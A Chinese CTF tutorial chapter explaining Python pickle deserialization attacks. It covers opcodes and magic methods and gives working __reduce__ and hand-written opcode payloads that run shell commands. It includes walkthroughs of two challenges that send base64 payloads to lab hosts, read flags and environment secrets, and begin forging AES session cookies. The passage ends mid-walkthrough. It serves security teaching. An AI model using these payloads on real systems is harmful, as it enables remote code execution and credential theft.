本章是一场硬战,加油吧,我们要出发了!

前置知识

在正式开始学习前,我们先回顾一下 python 的语法知识

序列化后的数据格式

PHP

1
2
3
4
// 数组
a:2:{i:0;s:3:"猫";i:1;s:3:"狗";}
// 对象
O:4:"User":2:{s:3:"name";s:5:"小明";s:3:"age";i:18;}

Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 列表(类似PHP数组)
(lp0
S'猫'
p1
aS'狗'
p2
a.

# 字典
(dp0
S'name'
p1
S'小明'
p2
sS'age'
p3
I18
s.

可见,Python Pickle 格式像一种栈虚拟机指令,每条指令都在操作一个栈。这跟 PHP 纯文本格式很不一样。

魔术方法对应关系

先混个眼熟,后续还会展开来说明

python 基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. 列表(类似PHP索引数组)
arr = [1, 2, 3, "hello"]
arr.append(4) # 追加
print(arr[0]) # 访问

# 2. 字典(类似PHP关联数组)
dict = {
"name": "小明",
"age": 18,
"hobbies": ["游泳", "编程"]
}
print(dict["name"]) # 访问
dict["score"] = 100 # 新增键值

# 3. 类(你熟悉的部分)
class User:
def __init__(self, name, age): # 构造函数
self.name = name
self.age = age

def say_hello(self): # 方法
print(f"你好,我是{self.name}")

# 创建对象
user = User("小明", 18)
user.say_hello()

序列化与反序列化函数

1
2
3
4
5
6
7
8
9
10
import pickle

# 序列化(类似 PHP serialize)
data = {"name": "小明", "age": 18} #这是一个字典
pickled = pickle.dumps(data)
print(pickled) # 一堆乱码般的二进制

# 反序列化(类似 PHP unserialize)
unpickled = pickle.loads(pickled)
print(unpickled["name"]) # 输出:小明

魔术方法示例

__reduce__这个方法一定要多注意,这是造成一切问题的根源,相当于 wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os # 系统命令模块

class Evil:
def __reduce__(self):
# 返回一个元组:(函数, (参数1, 参数2, ...))
# 反序列化时会执行 os.system('whoami')
return (os.system, ('whoami',))

# 生成恶意 payload
malicious = pickle.dumps(Evil())

# 服务器反序列化时会执行 whoami 命令
pickle.loads(malicious) # 漏洞触发!

pickle 相关模块

这个后面是否还会接触呢,现在还说不准

1
2
3
json | 用于实现Python数据类型与通用(json)字符串之间的转换 | dumps()、dump()、loads()、load()
pickle | 用于实现Python数据类型与Python特定二进制格式之间的转换 | dumps()、dump()、loads()、load()
shelve | 专门用于将Python数据类型的数据持久化到磁盘,shelve是一个类似dict的对象,操作十分便捷 | open()

pickle 语法基础

概论

pickle 是 Python 的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在 reduce 魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到 Python 的反弹 shell.

pickle 实际上可以看作一种独立的语言,通过对 opcode 的更改编写可以执行 python 代码、覆盖变量等操作。直接编写的 opcode 灵活性比使用 pickle 序列化生成的代码更高,有的代码不能通过 pickle 序列化得到(pickle 解析能力大于 pickle 生成能力)。

pickling: 是将 Python 对象转换为字节流的过程;

unpickling: 是将字节流二进制文件或字节对象转换回 Python 对象的过程;

Python 中几乎所有的数据类型(列表,字典,集合,类等)都可以用 pickle 来序列化。

序列化与反序列化函数

首先要认识这四个函数

1
2
3
4
pickle.dump()#把文件中的python对象转换为二进制/文本对象
pickle.load()#把文件中的二进制对象转换为python对象
pickle.dumps()#把字符串中的python对象转换为二进制/文本对象
pickle.loads()#把字符串中的二进制对象转换为python对象

下面展开叙述一下它们的作用吧

pickle.dump()

1
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)

注意:在 python 中,* 是函数定义的语法,调用函数时 * 后面的参数必须写参数名,但不用把*抄上去

第一个函数,dump,参数大概有这些,一起来看看

对于协议版本问题:

pickle.dumps()

obj 封存以后的对象作为 bytes 类型直接返回,而不是将其写入到文件对象中。其他的参数与 dump 中的一样,这里就不需要填文件路径了。

1
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)

pickle.load()

函数形式,参数也都在这里了

1
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

encoding 有如下几种选择:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 情况1:读取Python 3生成的文件(默认ASCII就够了)
with open('data.pkl', 'rb') as f:
data = pickle.load(f, encoding='ASCII') # 默认就是'ASCII'

# 情况2:读取Python 2生成的文件(含中文)
with open('chinese_data.pkl', 'rb') as f:
# Python 2的字符串是bytes,需要指定编码转成str
data = pickle.load(f, encoding='utf-8') # 用UTF-8解码中文

# 情况3:想保留bytes类型(不转成str)
with open('old_data.pkl', 'rb') as f:
data = pickle.load(f, encoding='bytes') # 字符串读出来是bytes类型

# 情况4:最常用的兼容写法
with open('maybe_py2_data.pkl', 'rb') as f:
data = pickle.load(f, encoding='latin1') # latin1能解码任何字节

err 的选择:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# strict - 严格模式(默认),遇到错误就抛出异常
with open('data.pkl', 'rb') as f:
data = pickle.load(f, errors='strict') # 默认,有错就崩

# ignore - 忽略无法解码的字符
with open('data.pkl', 'rb') as f:
data = pickle.load(f, errors='ignore') # 坏字符直接扔掉

# replace - 用替代符替换
with open('data.pkl', 'rb') as f:
data = pickle.load(f, errors='replace') # 坏字符变成 �

# backslashreplace - 转成转义序列
with open('data.pkl', 'rb') as f:
data = pickle.load(f, errors='backslashreplace') # 坏字符变成 \xXX

buffer 的选择我们目前用不到,这里就不多说了

pickle.loads()

1
pickle.loads(data, /, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

data 里面直接写数据了,就不是读文件了

魔术方法

所有的魔术方法左右都带双下划线的,这里省略了

reduce

__reduce__这里就不提了,相当于 wakeup,后面还有几个需要记忆的

new

构造方法 new
● 在实例化一个类时自动被调用,是类的构造方法.
● 可以通过重写 new 自定义类的实例化过程
_(相当于 PHP 的 _construct(),但 PHP 没有直接对应的,PHP 的构造函数更接近__init

init

初始化方法 init
● 在 new 方法之后被调用,主要负责定义类的属性,以初始化实例
_(相当于 PHP 的 _construct()

del

析构方法 del
● 在实例将被销毁时调用
● 只在实例的所有调用结束后才会被调用
_(相当于 PHP 的 _destruct()

getattr

getattr
● 获取不存在的对象属性时被触发
● 存在返回值
_(相当于 PHP 的 _get()

setattr

setattr
● 设置对象成员值的时候触发
● 传入一个 self,一个要设置的属性名称,一个属性的值
_(相当于 PHP 的 _set()

repr

repr
● 在实例被传入 repr() 时被调用
● 必须返回字符串
_(相当于 PHP 的没有完全对应,类似 _toString() 但用于调试)

call

call
● 把对象当作函数调用时触发
_(相当于 PHP 的 _invoke()

len

len
● 被传入 len() 时调用
● 返回一个整型
(相当于 PHP 的没有直接对应,类似实现 Countable 接口的 count() 方法)

str

str
● 被 str(), format(), print() 调用时调用,返回一个字符串
_(相当于 PHP 的 _toString()

Python 特殊属性

注意前面的 object,instance…要根据实际情况调整

object.__dict__

是什么:存对象属性的字典

1
2
3
4
5
6
7
8
9
10
11
class Student:
def __init__(self, name, age):
self.name = name
self.age = age

s = Student("小明", 18)
print(s.__dict__) # {'name': '小明', 'age': 18}

# 可以查看、修改
s.__dict__['score'] = 95 # 添加属性
print(s.score) # 95

instance.__class__

是什么:这个实例是属于哪个类的

1
2
3
4
5
6
s = Student("小明", 18)
print(s.__class__) # <class '__main__.Student'>
print(s.__class__.__name__) # 'Student'

# 可以用来创建同类的另一个对象
s2 = s.__class__("小红", 17)

_(相当于 PHP 的 get_class($obj))_

class.__bases__

是什么:这个类的父类们(返回的是元组)

1
2
3
4
5
6
7
8
9
10
11
12
13
class Person:
pass

class Student(Person): # Student继承Person
pass

print(Student.__bases__) # (<class '__main__.Person'>,)

# 多继承时
class A: pass
class B: pass
class C(A, B): pass
print(C.__bases__) # (<class '__main__.A'>, <class '__main__.B'>)

(相当于 PHP 的 class_parents() 但返回的是元组不是数组)

definition.__name__

是什么:类、函数、方法的名字(字符串)

1
2
3
4
5
6
7
8
9
10
class Student:
def study(self):
pass

print(Student.__name__) # 'Student'
print(Student.study.__name__) # 'study'

def hello():
pass
print(hello.__name__) # 'hello'

(相当于 PHP 的通过反射获取名称)

definition.__qualname__

是什么:带”路径”的完整名字(解决重名问题)

是不是类中方法要加以区分

1
2
3
4
5
6
7
8
9
10
11
class Outer:
class Inner:
pass

print(Inner.__name__) # 'Inner'
print(Inner.__qualname__) # 'Outer.Inner' 👈 告诉你这个Inner是在Outer里面的

# 再看个例子
def func(): pass
print(func.__name__) # 'func'
print(func.__qualname__) # 'func' (不在类里面,所以和__name__一样)

再复习一下吧

opcode 基础知识

PVM

pickle 是一种栈语言,它由一串串 opcode(指令集)组成.该语言的解析是依靠 Pickle Virtual Machine (PVM)进行的.

PVM 由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

整个过程就像:厨师(指令处理器)拿着菜谱(opcode),一边用锅(stack)炒菜,一边在小本本(memo)上记重点,最后把炒好的菜(反序列化结果)端给你!

常用的 opcode

大概有这么多吧,可以先不记,要用的时候前来查表

相关工具的使用

pickletools

pickletools 是 python 的一个内建模块,常用的方法有 pickletools.dis(),用于把一段 opcode 转换为易读的形式,如

1
2
3
4
5
6
7
8
9
import pickletools

opcode = b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''

pickletools.dis(opcode)
1
2
3
4
5
6
7
8
9
输出:
0: c GLOBAL '__main__ secret'
17: ( MARK
18: S STRING 'secret'
28: S STRING 'Hack!!!'
39: d DICT (MARK at 17)
40: b BUILD
41: . STOP
highest protocol among opcodes = 0

pker

pker 是一个可以把 python 语言翻译成 opcode 的工具. 使用 pker,我们可以更方便地编写 pickle opcode

https://github.com/eddieivan01/pker

pickle 反序列化漏洞利用

概论

讲了那么多前置知识,终于可以叙述问题到底是出在哪里了

pickle 是 Python 的一个库,可以对一个对象进行序列化和反序列化操作.其中__reduce__魔法函数会在一个对象被反序列化时自动执行,我们可以通过在 reduce 魔法函数内植入恶意代码的方式进行任意命令执行.通常会利用到 Python 的反弹 shell.
pickle 实际上可以看作一种独立的语言,通过对 opcode 的更改编写可以执行 python 代码、覆盖变量等操作。直接编写的 opcode 灵活性比使用 pickle 序列化生成的代码更高,有的代码不能通过 pickle 序列化得到(pickle 解析能力大于 pickle 生成能力)。

pickle 这个库支持

  • 调用任意模块的函数(如 os.system, subprocess.Popen
  • 实例化任意类(可能触发 reduce, setstate 等魔术方法)
  • 构造任意对象图

攻击者可以精心构造 payload,让 pickle.loads() 在还原对象时 自动执行恶意命令

这种手法和 php 反序列化是如出一辙的

实际上问题本质在于:pickle.loads() 不仅仅是一个简单的数据恢复工具,它本质上是一个 栈语言虚拟机 的解析器。当你加载一个 pickle 数据流时,Python 虚拟机是在“执行”这段由 Opcode 编写的“代码”来重建对象。

这就导致了两个严重的问题:

  1. 隐含的代码执行:反序列化不仅仅是数据复制,而是伴随着指令执行(比如调用函数、实例化类)。
  2. 攻击面扩大:只要攻击者能控制 pickle 数据流的内容,就能控制这个虚拟机执行任意指令。

漏洞利用

Pickle 在反序列化时会调用对象的 __reduce__方法(如果存在),该方法可返回:

1
(callable, args)

反序列化时会执行:callable(*args)

其中:

(callable, args) 就像是给 Pickle 下达的一个”执行指令”:

  • callable:要调用的函数(比如 os.systemsubprocess.getoutput
  • args:调用时传入的参数(比如 "whoami""cat /flag"

callable(*args) 表示实际执行时的样子:

  • *args 是把参数元组解开,一个个传给函数

例如这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import subprocess
import pickle

class Evil(object):
def __reduce__(self):
# 这里构造的就是 (callable, args)

# 例1: 执行系统命令
# callable = os.system, args = ("whoami",)
# 反序列化时会执行: os.system("whoami")
return (os.system, ("whoami",))

# 例2: 获取命令输出
# callable = subprocess.getoutput, args = ("cat /flag",)
# 反序列化时会执行: subprocess.getoutput("cat /flag")
# return (subprocess.getoutput, ("cat /flag",))

# 当服务端执行 pickle.loads() 时
malicious_data = pickle.dumps(Evil())
pickle.loads(malicious_data) # ⚠️ 这里会触发 os.system("whoami")

这里面的一些语法格式要稍微注意一下,否则运行不了

最简单的脚本和用法

我们可以利用脚本,生成 Pickle 反序列化漏洞 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('env',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

当这段 Payload 被目标服务器反序列化时,会执行:

1
subprocess.getoutput('env')  # 获取系统环境变量

实际效果演示

1
2
3
# 攻击者生成 Payload
$ python exploit.py
gASVJQAAAAAAAABMCnN1YnByb2Nlc3OUKGV4dGVybl9nZXRvdXRwdXSUhpSMCGVudpSFlFKULg==
1
2
3
4
5
6
7
8
# 如果服务器这样使用(有漏洞)
import pickle
import base64

data = input("请输入数据: ") # 攻击者输入上面那串
pickle.loads(base64.b64decode(data)) # ⚠️ 漏洞触发!
# 这会执行 env 命令,返回所有环境变量
#Pickle 生成的二进制数据可能包含不可见字符,base64 转成纯文本

实战中,我们需要通过源码审计,找到存在 pickle 反序列化的突破口,利用脚本生成相关 payload 让其反序列化,从而进行 RCE 或文件读取

需要注意的是,和 php 反序列化不同,pickle 反序列化后的对象本来就是包含__reduce__等危险魔术方法的信息的,所以我们应该自己构造,不需要环境中既有的危险方法

1
2
3
4
5
6
7
8
9
10
11
12
# Pickle 完全不需要目标环境中存在任何特殊类
import pickle
import subprocess

# 攻击者可以自己定义类
class Exploit:
def __reduce__(self):
# 直接返回任意可调用对象和参数
return (subprocess.getoutput, ('whoami',))

# 目标环境只需要:
pickle.loads(pickle.dumps(Exploit())) # 即使没有 Exploit 类定义也能执行!


变量覆盖问题

扶摇 · 六 python 原型链污染问题第六章 pickle 反序列化实现变量覆盖

利用 Pickle 反序列化,还可以通过 exec 在反序列化时动态执行代码,修改当前作用域中的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

# 初始变量值
key1 = b'321'
key2 = b'123'

class A(object):
def __reduce__(self):
# 返回 (exec, (要执行的代码字符串,))
# exec 会执行这段 Python 代码
return (exec, ("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a) # 打印序列化后的数据

# 反序列化,触发 __reduce__ 中的 exec
pickle.loads(pickle_a)

# 打印变量,查看是否被修改
print(key1, key2)

反序列化触发:

1
pickle.loads(pickle_a)
  • 调用 A.reduce()
  • 返回 (exec, ("key1=b'1'\nkey2=b'2'",))
  • Pickle 执行:exec("key1=b'1'\nkey2=b'2'")

exec 执行后的效果:

  • 执行 key1 = b'1'
  • 执行 key2 = b'2'

成功修改了当前作用域中的变量值

这个脚本展示了 Pickle 反序列化的真实危险:

  1. 不仅仅是调用函数:可以执行任意 Python 代码块
  2. 影响程序状态:可以修改当前作用域的变量
  3. 隐蔽性强:不产生明显的系统调用,可能在审计中被忽略
  4. 绕过安全机制:如果程序依赖某个标志位做权限控制,可以直接修改

RCE 问题

其实上面最简单的脚本,已经说的挺清楚如果要 RCE,是怎么用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('env',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

调用 os 模块

如果想调用 os 模块,也是可以的,os 模块我们之前也在 ssti 见过,但这没回显,你得写文件

这里又要用到无回显 ssti 中学习过的内容了–写入可写的目录,这里通常是带 static 的路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 1. 攻击者构造恶意数据
import pickle

class RunCmd:
def __reduce__(self):
import os
# 将 ls / 的结果写入 Web 可访问的目录
return (os.system, ("ls / > /app/static/fake_flag.txt",))

# 2. 生成序列化数据
malicious_data = pickle.dumps({"username": "admin", "pwn": RunCmd()})

# 3. 发送给目标服务器(比如通过 cookie、参数等)
# POST /api/endpoint HTTP/1.1
# data=恶意序列化数据

# 4. 目标服务器反序列化(存在漏洞的代码)
user_data = pickle.loads(received_data) # ⚠️ 漏洞触发!

# 5. 执行结果
# os.system("ls / > /app/static/fake_flag.txt")
# 会在 /app/static/ 目录下生成 fake_flag.txt 文件
# 内容类似:
# bin
# boot
# dev
# etc
# home
# ...

**手写 pickle 字节流(opcode) **

这个牛逼了,直接手写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
b'''(cos
system
S'ls / > /app/static/fake_flag.txt'
o.'''

# 分解:
# ( # MARK - 开始标记,表示接下来要构建一个元组
# c # GLOBAL - 导入全局对象
# os # 模块名
# system # 函数名
# # 上面两步组合:c + "os" + "system" = 导入 os.system
# S # STRING - 将字符串压入栈
# 'ls / > /app/static/fake_flag.txt' # 要执行的命令
# o # REDUCE - 弹出栈顶的函数和参数,执行调用
# . # STOP - 结束标记

等价于

1
2
3
# 这段 Opcode 等价于:
import os
os.system('ls / > /app/static/fake_flag.txt')

不需要用到任何魔术方法,能绕过很多限制,下面是原理,可以慢慢进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 初始栈: []

# 1. '(' - MARK 标记
# 栈: [MARK]

# 2. 'c' - GLOBAL 'os' 'system'
# 栈: [MARK, os.system]

# 3. 'S' - STRING 压入命令
# 栈: [MARK, os.system, 'ls / > /app/static/fake_flag.txt']

# 4. 'o' - REDUCE
# 弹出: os.system 和 'ls / > /app/static/fake_flag.txt'
# 执行: os.system('ls / > /app/static/fake_flag.txt')
# 将结果压入栈
# 栈: [MARK, result]

# 5. '.' - STOP
# 结束反序列化,返回栈顶结果

实验

说了那么多,实验才是重头戏,因为 pickle 反序列化涉及到了大量的 python 代码审计,这比 php 要复杂的多,我们来看几道题吧。

[HZNUCTF 2023 preliminary]pickle

pickle 反序列化的题目一般是存在源码泄露的,不然没法做,这里一上来题目就是源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()

@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"

@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()

if __name__ == '__main__':
app.run(host='0.0.0.0')

这里我们直接在/calc?payload 传反序列化的结果,注意不能直接用 os 模块,有 waf

法一 subprocess.getoutput

用这个最简单的脚本,直接输入命令会无回显,我们用 SSTI 的方式写入到静态文件下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('mkdir static; whoami > ./static/out.txt',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

脚本得到的结果刚好是 base64 编码后的,经过靶机一解码,就被反序列化执行命令了

输出的是

1
Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgd2hvYW1pID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=

我们这么 payload:

1
http://node5.anna.nssctf.cn:25440/calc?payload=Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgd2hvYW1pID4gLi9zdGF0aWMvb3V0LnR4dApwMQp0cDIKUnAzCi4=

然后访问一下静态文件/static/out.txt

命令被执行了吧

如果想看 flag 也很简单,改一改命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('mkdir static; cat /fl* > ./static/out.txt',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

再度 payload,并访问

1
http://node5.anna.nssctf.cn:25440/calc?payload=Y2NvbW1hbmRzCmdldG91dHB1dApwMAooVm1rZGlyIHN0YXRpYzsgY2F0IC9mbCogPiAuL3N0YXRpYy9vdXQudHh0CnAxCnRwMgpScDMKLg==

诶……

那 env 呢?env 总有了吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import subprocess

class Exploit:
def __reduce__(self):
# 返回 (callable, args)
# callable = subprocess.getoutput (执行命令并返回输出)
# args = ('env',) (要执行的命令是 'env')
return (subprocess.getoutput, ('mkdir static; env > ./static/out.txt',))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式(方便查看和传输)
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输(HTTP、JSON等)
print(base64.b64encode(payload).decode())

运行通过

法二 eval 模块

当然,还可以尝试一下 eval 模块,os 用加号拼接绕过过滤

1
2
3
4
5
6
7
8
9
10
11
import pickle  
import base64

class rayi(object):
def __reduce__(self):
#return eval,("__import__('o'+'s').system('ls / | tee a')",)
return eval,("__import__('o'+'s').system('env | tee a')",)

a=rayi()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

法三 手写

手写也是一样的,但是这类题手写我是真佩服你,注意 os 要双写

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import requests
import base64
import pickletools

opcode = b'''(cooss
system
S'mkdir static; env > ./static/out.txt'
o.'''
data = base64.b64encode(opcode)

print(data)

得到了这样的输出

1
b'KGNvb3NzCnN5c3RlbQpTJ21rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dCcKby4='

Payload: 注意不要把引号外的给加上去了

1
http://node5.anna.nssctf.cn:22646/calc?payload=KGNvb3NzCnN5c3RlbQpTJ21rZGlyIHN0YXRpYzsgZW52ID4gLi9zdGF0aWMvb3V0LnR4dCcKby4=

通常存在 pickle 的地方没有那么明显,它是比较隐秘的,我们可以看看下一题

[GHCTF 2025]ezzzz_pickle

这道题就稍微有一些难度,你首先得想办法搞到网页的后端源码,然后再进行审计

信息收集阶段

登录界面的弱口令提权就省略了,我们来到了这样一个界面

读前端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello Page</title>
</head>
<body>
<h1>Hello, admin!</h1>
<!-- hint:session_pickle -->
<h1>你不会以为我真的会给你flag吧,不会吧不会吧</h1>
<form method="POST" action="/">
<input type="hidden" name="filename" value="fake_flag.txt">
<button type="submit" class="btn btn-login">读取flag</button>
</form>
</body>
</html>

有进行任务文件读取的隐藏域,POST 提交 filename 变量为文件路径

注意 hackbar 弄不好就上 Burp

先读了个/etc/passwd,没有反应

尝试读取环境变量/proc/self/environ

1
2
3
4
5
6
7
8
9
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=anna46326c5bbe_sservicePYTHON_VERSION=3.10.16
PWD=/appHOME=/rootLANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flaskOLDPWD=/

FLAG 没有,找到了两个可能有用的信息

再尝试读取/app/app.py,注意这个路径,以后查看源码都这么查看

源码审计阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()
elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

users = {
"admin": "admin123",
}

def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session

def dowload_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data

def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False

@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = dowload_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")

@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp

if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)

读完了源码,审计的时候我们一定要冷静分析了

关于 pickle 的地方,我已经用不同颜色的底给标出了,但并非全都能够起作用,一定要理清楚源码的逻辑

首先我们关心的是第 61 行附近的代码–指出它什么时候进行反序列化

1
2
3
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)

在其上面有个 pickled 变量,它是被 aes_encrypt_decrypt 自定义解密的 cookie 值,然后再被 base64.b64decode 解密了一次,其过程大概可以这样描述

cookie值->aes解密->base64解码->序列化编码->被序列化

我们要做的就是逆推这个过程得到 cookie 值,使其经过上面这个流程后得到危险的序列化编码,最后再被序列化。

序列化编码->base64编码->aes加密->cookie值

但这几行所属的 def validate_session(cookie)方法在什么时候执行呢?我们又可以读到 71 行(橙底部分)

1
2
3
4
5
6
7
8
9
10
11
@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = dowload_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")

很容易就能审计出来:当我们访问网页根目录的时候,我们 cookie 上带有的 session 会作为 validate_session 函数

的参数,也就是”cookie”,进行这三步解密

1
2
3
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)

也就是说,我们只要在访问网页根目录的时候带有通过这一逆向的程序加密好的 cookie 值,就能正常通过执行 validate_session 函数,让 cookie 值被 pickle 反序列化

序列化编码->base64编码->aes加密->cookie值

那么,绿字对我们的进程有没有影响呢?

1
2
3
4
5
6
7
8
9
10
def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
